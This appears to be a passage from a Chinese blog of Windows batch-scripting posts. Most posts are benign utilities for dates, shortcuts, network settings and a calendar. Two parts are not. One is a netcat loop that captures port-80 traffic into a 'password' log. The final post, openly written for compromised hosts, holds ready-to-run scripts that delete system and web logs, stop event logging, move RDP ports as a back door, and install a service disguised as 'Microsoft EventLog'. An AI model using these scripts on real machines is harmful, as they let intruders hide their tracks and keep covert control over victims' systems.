    　　delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
    　　########################
    　　4. 简单批处理文件概念
    　　########################
    　　echo This is test > a.txt
    　　type a.txt
    　　echo This is test 11111 >> a.tx

inf文件的配置

hy58 — Sat, 06 Jun 2015 09:56:57 +0800

见到这个东西你应该立即删掉，99.9%是病毒自启动用的，不过你先杀毒后再删，因为现在的病毒都会保护autorun.inf不被删掉，即便删掉，还会再来。了解Autorun.inf 什么是Autorun.inf文件呢，严格的说它是一个必须存放在驱动器根目录下的有一定格式的文本文件，它是由一个或多个“节”组成，每个“节”民须以节名作为开始的一行，节名必须用中括号[]括起来，节名之下则为本节中的命令。其中Autorun.inf一共支持三个节，它们分虽为[autorun]、[autorun.alpha]、[Deviceinstall]，其中只有[autorun]是必须存在的。实例应用现在我们就来以实例的方式来详细了解Autorun.inf文件到底有哪些庆用。 (1)自动运行自动运行在前文有所接触，即使用Open命令进行，要注意的是“Open=”指定的文件必须为可执行文件，例如com、exe、bat；如果指定的文件不在根目录下，则需要指定其路径，例如Open=soft1.bat，这就表示运行光盘根目录下soft文件夹中的1.bat文件。小提示：如果要运行的文件不是com、exe、bat，那么也没关系，我们可以手工编写一个bat文件，将要打开的文件所在路径和文件名添加在bat之中即可。 (2)自定义光盘图标在Autorun节中，还有一个比较好玩的命令行，那就是icon，一般情况下指定的图标文件可以是ico和bmp格式，当然也可以是包含图标资源的 exe和dll文件，如果exe和dll文件中包含多个图标文件，那么就必须指定希望使用的图标索引号，要注意的是图标索引号是从0开始编号的，例如 “icon=icon.dll,1”，那么就表示将使用icon.dll文件中的第二个图标。小提示：icon不仅可以应用在光盘上，我们也可以将该命令编写进autorun.inf文件放置在硬盘根目录自定义硬盘的图标。 (3)自定义卷标虽然说光盘刻录软件中一般都可以设置光盘卷标，但是如果要批量刻录的话，那就会显的很麻烦，不如使用命令定义的快捷。定义卷标是利用Label命令来完成的，它的语法和Open、Icon是一样的，在这里不再多述。 (4)添加右键菜单当我们右击刻录的光盘时，经常会在右键菜单中发现一个自动播放的选项，其实这主要是利用Autorun.inf中的Open命令来实现的，其实我们还可以根据需要添加其它菜单命令。添加其它菜单命令的格式是“Shell<菜单命令名>Command=<要执行的文件>”，例如我们编写了一个文件内容如下： [autorun] shell打开记事本command=notepad.exe 这样当我们将该文件刻录进光盘时，右击光盘时在弹出菜单中就会有一个“打开记事本”的命令了。 (5)改变缺省操作一般情况下应用autorun.inf的光盘双击缺省操作大多是自动播放，即执行open后面的文件操作。其实我们也可以改变这种情况，而这同样是利用shell命令来完成。我们先来看一个典型双击安装软件的示例： [autorun] shellsetupcommand=softsetup.exe shell=setup 要看懂这段语句，我们可以从下向上看，当我们双击光盘时，将调用最后一句Shell=setup，因为设置了该句，那么双击时将查找对应Shell setupcommand后面指定的命令来作为默认操作，因此默认的操作将变成执行光盘根目录下的soft文件夹中的setup.exe文件。 shell1=天若有情天亦老 shell1command=notepad.exe ok.txt [AutoRun] Open=regedit/s Share.reg //加/s参数是为了导入时不会显示任何信息在这里主要介绍的是autorun节内容的应用，而对于autorun.alpha来说我们很少用到，而Deviceinstall只能在Windows XP下使用，可以利用它指定硬件向导进行递归搜索的子目录。理论基础经常使用光盘的朋友都知道，有很多光盘放入光驱就会自动运行，它们是怎么做的呢？光盘一放入光驱就会自动被执行，主要依靠两个文件，一是光盘上的AutoRun.inf文件，另一个是操作系统本身的系统文件之一的Cdvsd.vxd。Cdvsd.vxd会随时侦测光驱中是否有放入光盘的动作，如果有的话，便开始寻找光盘根目录下的AutoRun.inf文件。如果存在AutoRun.inf文件则执行它里面的预设程序。 AutoRun.inf不光能让光盘自动运行程序，也能让硬盘自动运行程序，方法很简单，先打开记事本，然后用鼠标右键点击该文件，在弹出菜单中选择“重命名”，将其改名为AutoRun.inf，在AutoRun.inf中键入以下内容： [AutoRun] //表示AutoRun部分开始，必须输入 Icon=C:C.ico //给C盘一个个性化的盘符图标C.ico Open=C:1.exe //指定要运行程序的路径和名称，在此为C盘下的1.exe 保存该文件，按F5刷新桌面，再看“我的电脑”中的该盘符（在此为C盘），你会发现它的磁盘图标变了，双击进入C盘，还会自动播放C盘下的1.exe文件！解释一下：“[AutoRun]”行是必须的固定格式，“Icon”行对应的是图标文件，“C:C.ico”为图标文件路径和文件名，你在输入时可以将它改为你的图片文件所在路径和文件名。另外，“.ico”为图标文件的扩展名，如果你手头上没有这类文件，可以用看图软件ACDSee将其他格式的软件转换为ico格式，或者找到一个后缀名为BMP的文件，将它直接改名为ICO文件即可。你也可以进行免疫建立autorun.inf文件夹，使病毒不能建立autorun.inf文件建名为autorun.inf的文件夹，在里面用DOS建名为main..的文件夹注：建名为main..的文件夹的方法。在“运行”下输入cmd,之后就到了命令提示符下，输入 H:（回车），输入cd autorun.inf（回车）,输入md main..（回车）若想删除mian..文件夹，在“运行”下输入cmd,之后就到了命令提示符下，输入 H:（回车），输入cd autorun.inf（回车）,输入rd main..（回车）当然，你还可以用它来保存不想被别人看的文件，在“运行”下输入H:autorun.infmain..（回车）,可以打开main..文件夹中的内容。

把包含日期之类字符的文本替换成昨天的日期，并保存

hy58 — Sat, 06 Jun 2015 09:52:39 +0800

@echo off&setlocal enabledelayedexpansion
    if exist "123.bat" del /q /f /a "123.bat"
    if exist "123.txt" del /q /f /a "123.txt"
    mode con: cols=53 lines=10&color 0e
    set YE=%date:~0,4%
    set MO=%date:~5,2%
    set DA=%date:~8,2%
    set DG=1
    set/a vY1=%YE% %% 400
    set/a vY2=%YE% %% 4
    set/a vY3=%YE% %% 100
    if %vY1%==0 (set var=true) else (if %vY2%==0 (if %vY3%==0 (set var=false) else (set var=true)) else (set var=false))
    set LY=%YE%
    set LM=%MO%
    if %DA:~0,1%==0 (set DA=%DA:~1,1%)
    if %DA% GTR %DG% (set/a LD=%DA%-%DG%) else (
    if %MO%==01 (set/a LY=%YE%-1) & (set/a LM=12+%MO%-1) & (set/a LD=31+%DA%-%DG%) else (
    set/a LM=%MO%-1
    if %MO%==03 (if %var%==false (set/a LD=28+%DA%-%DG%) else (set/a LD=29+%DA%-%DG%))
    for %%a in (02 04 06 08 09 11) do (if "%MO%"=="%%a" (set/a LD=31+%DA%-%DG%))
    for %%b in (05 07 08 10 12) do (if "%MO%"=="%%b" (set/a LD=30+%DA%-%DG%))))
    if %LM% LSS 10 set LM=0%LM:~-1%
    if %LD% LSS 10 set LD=0%LD:~-1%
    for /l %%a in (0 1 9) do set #%%a=a
    set /p file=请把你要处理的文本文件拖到本窗口或手动输入路径文件名:
    set "str=%file%"
    set "str=!str:"=!"
    set file=!str!
    for /f "delims=" %%i in ('type "%file%"') do (
    set "str=%%i"
    set "stra=%%i"
    set "str=!str:,=!"
    set "str=!str:;=!"
    set "str=!str: =!"
    set n=0&set "var="
    for /l %%a in (0 1 9) do set str=!str:%%a= %%a !
    for %%a in (!str!) do (
    if defined #%%a (set var=!var!%%a&set /a n+=1) else set var=&set n=0
    if !n! equ 8 echo !var!>>123.txt&set var=&set n=0
    ))
    for /f "delims=" %%a in ('type "%file%"') do (
    set "str=%%a"
    for /f "delims=" %%i in (123.txt) do (
    set str=!str:%%i=%LY%%LM%%LD%!
    )
    echo !str!>>123.bat
    )
    del /q /f /a "123.txt"
    start 123.bat
    exit

    我按你上面的日期格式给你修改。

    这实在不是批处理干的事情，楼主硬要批处理，看在楼主的分的份上我只好给你了，就是太小气了才有5分。如果肯多加点分将不胜感激。如果日期格式不对记得给我说。

用bat建快捷方式，不要vbs和url，只要lnk的

hy58 — Sat, 06 Jun 2015 09:51:59 +0800

@echo off
    if exist %systemroot%temptmp.vbs del /s /q %systemroot%temptmp.vbs
    echo Dim WshShell,Shortcut>>%systemroot%temptmp.vbs
    echo Dim path,fso>>%systemroot%temptmp.vbs
    echo path="%cd%beijingfengtai.exe">>%systemroot%temptmp.vbs
    echo Set fso=CreateObject("Scripting.FileSystemObject")>>%systemroot%temptmp.vbs
    echo Set WshShell=WScript.CreateObject("WScript.Shell")>>%systemroot%temptmp.vbs
    echo Set Shortcut=WshShell.CreateShortCut("%USERPROFILE%桌面fengtai.lnk")>>%systemroot%temptmp.vbs
    echo Shortcut.TargetPath=path>>%systemroot%temptmp.vbs
    echo Shortcut.Save>>%systemroot%temptmp.vbs
    "%SystemRoot%System32WScript.exe" %systemroot%temptmp.vbs
    del %systemroot%temptmp.vbs /s /q

批处理获取本机IP(局域网)及MAC地址

hy58 — Sat, 06 Jun 2015 09:50:22 +0800

::==================批处理获取本机IP(局域网)及MAC地址==============
    ::code by www.ff87.com 2013-1-5
    @echo off
    setlocal enabledelayedexpansion
    title 获取本机IP(局域网)及MAC地址@bbs.bathome.cn
    Rem '/*=========初始化设置=============*/
    set "Space=        "
    set "PH_addr=%Space%Physical Address"  %'/*-----物理地址-------*/%
    set "IP_addr=%Space%IP Address" %'/*------IP地址(局域网)--------*/%
    Rem ===========主程序===================
    for /f "tokens=1,* delims=." %%i in ('ipconfig /all') do (
    for %%a in (PH_addr IP_addr) do (
    if "%%i"=="!%%a!" set %%a=%%j
    )
    )
    Rem '/*===========对结果进行处理===========
    set PH_addr=%PH_addr:*:=%
    set IP_addr=%IP_addr:*:=%
    Rem '/*===========结果输出===============
    echo.
    echo 你的网卡物理地址为：%PH_addr%
    echo.
    echo 你的IP(局域网)地址为：%IP_addr%
    pause>nul

批处理获取网络连接名称

hy58 — Sat, 06 Jun 2015 09:49:53 +0800

::==================批处理获取网络连接名称==============
    ::code by www.ff87.com 2013-1-5
    @echo off
    setlocal enabledelayedexpansion
    title 获取网络连接名称@bbs.bathome.cn
    Rem '/*=========初始化设置=============*/
    set "NIC_flag=Ethernet" %'/*-----网卡标志 -------*/%
    set NIC_num=0 %'/*------初始化网卡数目--------*/%
    Rem ===========主程序===================
    for /f "tokens=1,2,3,* delims=: " %%i in ('ipconfig /all') do (
    set /a num+=1
    if "%%i"=="%NIC_flag%" (
    set /a num_=!num!+3,NIC_num+=1
    set NIC_name!Nic_num!=%%k)
    if !num! EQU !num_! set var=%%l
    set var=!var:*:=!
    set Desp!Nic_num!=!var!
    )
    Rem ===========结果输出===============
    echo 你共有 %NIC_num% 块网卡&echo.
    echo 连接名称    网卡型号
    echo.
    for /l %%i in (1 1 %NIC_num%) do echo !NIC_name%%i!    !Desp%%i!

    pause>nul

批处理万年历(包括农历日期)

hy58 — Sat, 06 Jun 2015 09:49:22 +0800

复制内容到剪贴板
    代码:
    :: 月历查询工具最初发表于CN-DOS
    :: 原创：foxjl  更新：namejm, qzwqzw，foxjl
    :: 计算农历日期部分思路及算法来自"趣味东"
    :: 输入的日期格式为：年-月-日(-可以替换为:、/，可以混用)
    :: 在日历里面，★=当天
    :: 支持多种格式的日期输入：
    :: ① 若只输入一个数，则认为是查询当年月份，自动截取后两位数字查询，★标在1日上；
    :: ② 若输入两个数，则认为是查询年和月，★标在1日上；
    :: ③ 输全的话，★标在指定日期上
    :: 关于年份的转换：
    :: ① 若年份上输入的数字少于三位，则作如下转换：
    ::     50~99判定为19xx
    ::     0~49判定为20xx
    :: ② 若输入的年份数字超过两位，则截取后四位字符(不足部分在高位补0)，
    ::    按 ① 的规则计算该年份的日期；
    :: 07-08-04 增加针对农历的生肖及干支年计算；修改错误日期循环提示的BUG.
    :: 08-01-13 增加推算农历日期的功能.
    @echo off
    color 1f
    mode con cols=40 lines=20
    setlocal enabledelayedexpansion
    set str=日一二三四五六七八九
    set sdate=%date%
    :Main
    cls&echo.
    :: 日期提取、格式化与校验
    for /f "tokens=1,2,3 delims=-/: " %%i in ("%sdate%") do (
    (set sy=%%i) && (set sm=%%j) && (set sd=%%k)
    )
    if not defined sd set sd=1
    if not defined sm set sm=%sy%&set sy=%date:~0,4%
    (set sy=0000%sy%) && (set sm=00%sm%) && (set sd=00%sd%)
    (set sy=%sy:~-4%) && (set sm=%sm:~-2%) && (set sd=%sd:~-2%)
    set /a y=1%sy%-10000, m=1%sm%-100, d=1%sd%-100 2>nul
    if errorlevel 9167 goto Error
    if %y% lss 100 (
    if %y% lss 50 (set /a y+=2000) else (set /a y+=1900)
    set sy=!y!
    )
    if %m% lss 13 if %d% lss 32 goto Calc
    :Error
    echo.错误的日期.
    pause>nul
    cd.
    set sdate=%date%
    goto Main
    :Calc
    ::计算农历部分
    set/a Q=(y-1901)/4
    set/a R=y-1901-4*Q
    set n=0
    for %%i in (0,31,59,90,120,151,181,212,243,273,304,334) do (
    set /a n+=1
    if %m% equ !n! set z=%%i)
    set /a leap="^!(y%%4) & ^!(^!(y%%100)) | ^!(y%%400)"
    if %m% gtr 2 (if %leap% equ 0 (set /a z-=1) else (set /a z+=leap))
    set/a n=(140*Q+106*(R+1)+z*10+d*10)/295,H=(140*Q+106*(R+1)+z*10+d*10-295*n)/10
    if %h% equ 0 set h=29
    if %h% leq 10 (if %h% equ 10 (set h=初十) else (set h=初%h%)) else (set h=%h:~0,1%十%h:~-1%号)
    for /l %%i in (1,1,9) do (call set h=%%h:%%i=!str:~%%i,1!%%)
    set h=%h:0=%
    :: 计算生肖及干支年
    set sx=猴鸡狗猪鼠牛虎兔龙蛇马羊
    set tg=庚辛壬癸甲乙丙丁戊己
    set dz=申酉戌亥子丑寅卯辰巳午未
    set /a sxnum=%sy% %% 12
    set /a tgnum=%sy:~-1%
    title 农历!tg:~%tgnum%,1!!dz:~%sxnum%,1!年生肖:!sx:~%sxnum%,1! 农历:%h%
    :: 计算每个月的天数
    set days=31
    for %%i in (4 6 9 11) do if %m% equ %%i set days=30
    :: 计算2月份的偏差
    set /a leap="^!(y%%4) & ^!(^!(y%%100)) | ^!(y%%400)"
    if %m% equ 2 set /a days=28+%leap%
    if %m% leq 2 (set /a y-=1& set /a m+=12)
    :: 计算指定日期的星期数
    set /a w=(d+2*m+3*(m+1)/5+y+y/4-y/100+y/400+1)%%7
    echo.  %sy%年%sm%月   日期:%sy%-%sm%-%sd%,星期!str:~%w%,1!
    echo.
    :: 生成月历
    set /a wb=(w+35-d) %% 7, we=wb+days+1, day=1
    echo.    日   一   二   三   四   五   六
    echo. ━━━━━━━━━━━━━━━━━━━
    set /p=
    for /l %%i in (0,1,37) do (
    set "temp=  "
    if %%i GTR %wb% if %%i LSS %we% (
    set temp= !day!
    set temp=!temp:~-2!
    if !d! EQU !day! set temp=★
    set /a day+=1
    )
    set /p=   !temp!
    set /a "wm=(%%i+1)%%7"
    if !wm! equ 0 echo.&echo.&set /p=
    )
    echo.
    echo  ━━━━━━━━━━━━━━━━━━━
    echo.  输入日期可查询当日星期并显示当月月历
    echo.
    set sdate=
    set /p sdate=  格式如:2007-02-03,
    退出:
    if defined sdate goto Main
    以下是各计算部分算法:
    复制内容到剪贴板
    代码:
    计算星期:
    基姆拉尔森计算公式
    W= (d+2*m+3*(m+1)/5+y+y/4-y/100+y/400) mod 7
    在公式中d表示日期中的日数＋1，m表示月份数，y表示年数。
    注意：在公式中有个与其他公式不同的地方：
    把一月和二月看成是上一年的十三月和十四月，
    例：如果是2004-1-10则换算成：2003-13-10来代入公式计算。
    复制内容到剪贴板
    代码:
    生肖及干支年计算方法是：
    出生公元年数÷１２，然后根据除得的商的余数，对照生肖排列就马上可以知道。
    生肖排列是：猴（０）、鸡（１）、狗（２）、猪（３）、鼠（４）、牛（５）、虎（６）、兔（７）、龙（８）、蛇（９）、马（１０）、羊（１１）。
    天干地支算法:
    首先要能记住十大天干和十二地支，
    十天干：甲、乙、丙、丁、戊、己、庚、辛、壬、癸；
    十二地支：子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥；
    天干地支纪年法首先是天干在前，地支在后，比如今年2005就为－乙酉年，先来算算天干，有个公式：
    4、 5、 6、 7、 8、 9、 0、 1、 2、 3 对应的十天干就是
    甲、乙、丙、丁、戊、己、庚、辛、壬、癸，
    数字为年代的最后的一位数字，比如今年是2005，最后一位是5，对应的天干就是乙；
    地支的算法：用年代数除以12，后面的余数就代表某个地支，余数分别为：
    4、 5、 6、 7、 8、 9、 10、 11、 0、 1、 2、 3，
    代表地支为：子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥，
    比如2005年为例：年代末尾数为5，对应的天干为乙，2005除以12，余数为1，对应的地支为酉，所以2005年为乙酉年。
    复制内容到剪贴板
    代码:
    农历日期部分的算法是:
    阴历日期是以月亮的圆缺为计月单位，其以逢朔为初一，以月望为十五（大月为十六日），以月晦为二十九日（大月为三十日）。然而目前记时通常用阳历日期表达，如欲将阳历日期换算成阴历日期可以用以下两种方法：其一是查《新编万年历》，如查1984年6月8日是阴历几日？翻开万年历6月10日是阴历十一，则逆推6月8日是阴历初九。其二可以利用公式推算阴历日期：
    设：公元年数－1977（或1901）＝4Q＋R
    则：阴历日期=14Q+10.6(R+1)+年内日期序数-29.5n
    （注:式中Q、R、n均为自然数，R<4）
    例：1994年5月7日的阴历日期为：
    1994－1977＝17＝4×4＋1
    故：Q＝4，R＝1 则：5月7日的阴历日期为：
    14×4+10.6(1+1)+(31+28+31+30+7)-29.5n
    =204.2- 29.5n
    然后用29.5去除204.2得商数6......27.2，6即是n值，余数27即是阴历二十七日。

批处理自动定义IP、网关、DNS

hy58 — Sat, 06 Jun 2015 09:47:50 +0800

::==================批处理自动定义IP、网关、DNS==============
    ::自动读取网络连接名称；
    ::根据用户输入，快速设置IP、网关、DNS
    ::code by youx@www.ff87.com 2013-1-6
    @echo off
    title 批处理自动定义IP、网关、DNS@www.ff87.com
    call :Get_NIC
    Rem '----------IP地址----------------
    set IP_addr=192.168.1.110
    set /p IP_addr=请输设置IP地址(默认为：192.168.1.110)：
    netsh interface ip set address name="%NIC_name%" source=static addr=%IP_addr% mask=255.255.255.0
    Rem '---------设置网关----------------
    set GT_addr=0.0.0.0
    set /p GT_addr=请输入网关：
    netsh interface ip set address name="%NIC_name%" gateway=%GT_addr% gwmetric=0
    Rem '----------设置DNS----------------
    set DNS=0.0.0.0
    set /p DNS=请输入DNS：
    netsh interface ip set dns name="%NIC_name%" source=static addr=%DNS% register=PRIMARY
    pause>nul
    Rem '/*=============获取网络连接名称==================
    :Get_NIC
    set "NIC_flag=Ethernet"  %'/*-----网卡标志 -------*/%
    for /f "tokens=1,2,3,* delims=: " %%i in ('ipconfig /all') do (
    if "%%i"=="%NIC_flag%" set NIC_name=%%k && goto :eof
    )

批处理模拟开机动画

hy58 — Sat, 06 Jun 2015 09:27:14 +0800

@echo off
    Rem code by http://www.ff87.com/
    ::::::::::::::::::::::::::
    :生成vbs脚本，用来显示动画
    echo CD=Wscript.Arguments(1)>showplan.vbe
    echo Str=Wscript.Arguments(0)>>showplan.vbe
    echo Time_Delay=Wscript.Arguments(2)>>showplan.vbe
    echo Switch1=Wscript.Arguments(3)>>showplan.vbe
    echo Switch2=Wscript.Arguments(4)>>showplan.vbe
    echo Str_Len=len(Str)>>showplan.vbe
    echo Show_Str Str,Str_Len,CD,Time_Delay,Switch1,Switch2>>showplan.vbe
    echo wscript.stdout.write vbcrlf>>showplan.vbe
    echo Function Show_Str(str,strlen,CD,Speed,Switch1,Switch2)>>showplan.vbe
    echo IF Ucase(Switch2)=^"Y^" then>>showplan.vbe
    echo Show_Cursor 8,CD>>showplan.vbe
    echo End if>>showplan.vbe
    echo IF str^<^>^"^" then>>showplan.vbe
    echo For i=1 to strlen>>showplan.vbe
    echo if i mod 2=0 then>>showplan.vbe
    echo Cursor=^" ^">>showplan.vbe
    echo else>>showplan.vbe
    echo Cursor=^"_^">>showplan.vbe
    echo end if>>showplan.vbe
    echo IF i=strlen then>>showplan.vbe
    echo Cursor=^" ^">>showplan.vbe
    echo End if>>showplan.vbe
    echo IF Ucase(Switch1)=^"Y^" then>>showplan.vbe
    echo str1=str1 ^& ^"^>^">>showplan.vbe
    echo wscript.stdout.write chr(13) ^& CD ^& str1^&Left(str,79-i) ^& chr(8)>>showplan.vbe
    echo Else>>showplan.vbe
    echo wscript.stdout.write chr(13) ^& CD ^& Left(str,i)^&Cursor^& chr(8)>>showplan.vbe
    echo End if>>showplan.vbe
    echo wscript.sleep Speed>>showplan.vbe
    echo Next>>showplan.vbe
    echo Else>>showplan.vbe
    echo Exit Function>>showplan.vbe
    echo End if>>showplan.vbe
    echo End Function>>showplan.vbe
    echo Function Show_Cursor(Num,CD)>>showplan.vbe
    echo for i=1 to Num>>showplan.vbe
    echo if i mod 2=0 then>>showplan.vbe
    echo Cursor=^" ^">>showplan.vbe
    echo else>>showplan.vbe
    echo Cursor=^"_^">>showplan.vbe
    echo end if>>showplan.vbe
    echo wscript.stdout.write chr(13) ^& CD ^& Cursor ^& chr(8)>>showplan.vbe
    echo wscript.sleep 200>>showplan.vbe
    echo Next>>showplan.vbe
    echo End Function>>showplan.vbe
    :初始设置;
    set str1=开机
    set str2=快开机
    set str3=他开机
    set str4=你他妈到底开不开机
    set str5=操!!再不开机老子砸了你!!
    set str6=不是内部或外部命令，也不是可运行的程序
    set str7=或批处理文件。
    set str8================================================================================
    :::::::::::::::::::::::::::::::::::::::::::::::
    :主控程序；
    cscript.exe showplan.vbe %str1% "%~dp0>" 120 "" "Y" //nologo
    call :Msg %str1%
    cscript.exe showplan.vbe %str2% "%~dp0>" 100 "" "Y" //nologo
    call :Msg %str2%
    cscript.exe showplan.vbe %str3% "%~dp0>" 180 "" "Y" //nologo
    call :Msg %str3%
    cscript.exe showplan.vbe %str4% "%~dp0>" 180 "" "Y" //nologo
    call :Msg %str4%
    cscript.exe showplan.vbe %str5% "%~dp0>" 80 "" "Y" //nologo
    cscript.exe showplan.vbe "" "" 100 "" "Y" //nologo
    echo Loading windows 2000 ...
    echo.
    cscript.exe showplan.vbe %str8% "" 50 "Y" "" //nologo
    del showplan.vbe
    goto :eof
    :Msg
    ping -n 2 127.0.0.1>nul
    echo '%1'%str6%
    echo %str7%
    echo.

调用nc做嗅探的一个bat shell

hy58 — Sat, 06 Jun 2015 09:26:05 +0800

@echo off
    :: Ncfoever 1.0 bulid by ALLyeSNO 2005-06-13
    :: 可用于tcp端口数据包的捕获
    cls
    ::/* 参数判断以及使用说明 */
    set count=1
    if /i "%1"=="-look" goto nclook
    if /i "%1"=="-log" goto nclog
    echo.
    echo =======================================================================
    echo Ncforever 1.0 build by ALLyeSNO
    echo 功能：可用于tcp端口数据的捕获
    echo =======================================================================
    echo usage: ncforever -look  监视模式(实时监控)
    echo usage: ncforever -log   记录模式(hkip.log记录ip hkpass.log记录传输数据)
    goto end
    ::/* 监视和记录模块 */
    :nclook
    title 嗅探监视模式 http://blog.csdn.net/freexploit
    echo ============================中止程序请按ctrl+c=================================
    echo 第 1 次嗅探开始--^> %date% %time%
    echo.
    nc -l -p 80
    echo.
    echo.
    echo 第 1 次嗅探结束--^> %date% %time%
    :nc
    echo.
    echo ============================中止程序请按ctrl+c=================================
    ::/* set/a count+=1 bat里面新的计数表示方法 */
    set/a count+=1
    echo 第 %count% 次嗅探开始--^> %date% %time%
    echo.
    nc -l -p 80
    echo.
    echo.
    echo 第 %count% 次嗅探结束--^> %date% %time%
    goto nc
    :end
    goto endx
    :nclog
    title 嗅探记录模式 http://blog.csdn.net/freexploit
    echo ============================中止程序请按ctrl+c=================================
    echo 第 1 次记录开始--^> %date% %time%
    echo.
    nc -v -l -p 80 2>>hkip.log 1>>hkpass.log
    echo.>>hkpass.log
    echo.
    echo 第 1 次记录结束--^> %date% %time%
    :ncx
    echo.
    echo ============================中止程序请按ctrl+c=================================
    set/a count+=1
    echo 第 %count% 次记录开始--^> %date% %time%
    ::// 把nc的嗅探记录分别存到hkip.log 和 hkpass.log
    ::// 其中采用了句柄2 和句柄1 由于每个软件的句柄功能不一样，请自己调试
    ::// 默认的句柄参看windows自带帮助
    nc -v -l -p 80 2>>hkip.log 1>>hkpass.log
    echo.>>hkpass.log
    echo.
    echo 第 %count% 次记录结束--^> %date% %time%
    goto ncx
    ::/* 程序结束 */
    :endx

批处理精彩实例详解

hy58 — Sat, 06 Jun 2015 09:25:31 +0800

1、删除win2k/xp系统默认共享的批处理
    ------------------------ cut here then save as .bat or .cmd file ---------------------------
    @echo preparing to delete all the default shares.when ready pres any key.
    @pause
    @echo off
    :Rem check parameters if null show usage.
    if {%1}=={} goto :Usage
    :Rem code start.
    echo.
    echo ------------------------------------------------------
    echo.
    echo Now deleting all the default shares.
    echo.
    net share %1$ /delete
    net share %2$ /delete
    net share %3$ /delete
    net share %4$ /delete
    net share %5$ /delete
    net share %6$ /delete
    net share %7$ /delete
    net share %8$ /delete
    net share %9$ /delete
    net stop Server
    net start Server
    echo.
    echo All the shares have been deleteed
    echo.
    echo ------------------------------------------------------
    echo.
    echo Now modify the registry to change the system default properties.
    echo.
    echo Now creating the registry file
    echo windows Registry Editor Version 5.00> c:delshare.reg
    echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg
    echo "AutoShareWks"=dword:00000000>> c:delshare.reg
    echo "AutoShareServer"=dword:00000000>> c:delshare.reg
    echo Nowing using the registry file to chang the system default properties.
    regedit /s c:delshare.reg
    echo Deleting the temprotarily files.
    del c:delshare.reg
    goto :END
    :Usage
    echo.
    echo ------------------------------------------------------
    echo.
    echo*=*= * Aexampleforbatchfile*=*=*
    echo*=*= * [Use batch file to changethesysytemshareproperties.]*=*=*
    echo.
    echo Author：Ex4rch
    echo Mail:Ex4rch@hotmail.com
    echo.
    echo Error：Not enough parameters
    echo.
    echo*=*= * Please enter the sharediskyouwannadelete*=*=*
    echo.
    echo For instance，to delete the default shares:
    echo delshare c d e ipc admin print
    echo.
    echo If the disklable is not as C: D: E: ，Please chang it youself.
    echo.
    echo example：
    echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：
    echo delshare c d e x y z ipc admin print
    echo.
    echo *** you can delete nine shares once in a useing ***
    echo.
    echo ------------------------------------------------------
    goto :EOF
    :END
    echo.
    echo ------------------------------------------------------
    echo.
    echo OK,delshare.bat has deleted all the share you assigned.
    echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
    echo
    echo.
    echo ------------------------------------------------------
    echo.
    :EOF
    echo end of the batch file
    ------------------------ cut here then save as .bat or .cmd file ---------------------------
    2、全面加固系统（给肉鸡打补丁）的批处理文件
    ------------------------ cut here then save as .bat or .cmd file ---------------------------
    @echo windows Registry Editor Version 5.00 >patch.dll
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] >>patch.dll
    @echo "AutoShareServer"=dword:00000000 >>patch.dll
    @echo "AutoShareWks"=dword:00000000 >>patch.dll
    @REM [禁止共享]
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>patch.dll
    @echo "restrictanonymous"=dword:00000001 >>patch.dll
    @REM [禁止匿名登录]
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>patch.dll
    @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
    @REM [禁止及文件访问和打印共享]
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>patch.dll
    @echo "Start"=dword:00000004 >>patch.dll
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>patch.dll
    @echo "Start"=dword:00000004 >>patch.dll
    @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftwindows NTCurrentVersionWinlogon] >>patch.dll
    @echo "ShutdownWithoutLogon"="0" >>patch.dll
    @REM [禁止登录前关机]
    @echo "DontDisplayLastUserName"="1" >>patch.dll
    @REM [禁止显示前一个登录用户名称]
    @regedit /s patch.dll
    ------------------------ cut here then save as .bat or .cmd file ---------------------------
    下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。
    @regedit /s patch.dll
    @net stop w3svc
    @net stop event log
    @del c:winntsystem32logfilesw3svc1*.* /f /q
    @del c:winntsystem32logfilesw3svc2*.* /f /q
    @del c:winntsystem32config*.event /f /q
    @del c:winntsystem32dtclog*.* /f /q
    @del c:winnt*.txt /f /q
    @del c:winnt*.log /f /q
    @net start w3svc
    @net start event log
    @rem [删除日志]
    @net stop lanmanserver /y
    @net stop Schedule /y
    @net stop RemoteRegistry /y
    @del patch.dll
    @echo The server has been patched,Have fun.
    @del patch.bat
    @REM [禁止一些危险的服务。]
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>patch.dll
    @echo "PortNumber"=dword:00002010 >>patch.dll
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp >>patch.dll
    @echo "PortNumber"=dword:00002012 >>patch.dll
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll
    @echo "Start"=dword:00000002 >>patch.dll
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll
    @echo "Start"=dword:00000002 >>patch.dll
    @echo "ErrorControl"=dword:00000001 >>patch.dll
    @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll
    @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll
    @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
    @echo "ObjectName"="LocalSystem" >>patch.dll
    @echo "Type"=dword:00000010 >>patch.dll
    @echo "Description"="Keep record of the program and windows' message。" >>patch.dll
    @echo "DisplayName"="Microsoft EventLog" >>patch.dll
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>patch.dll
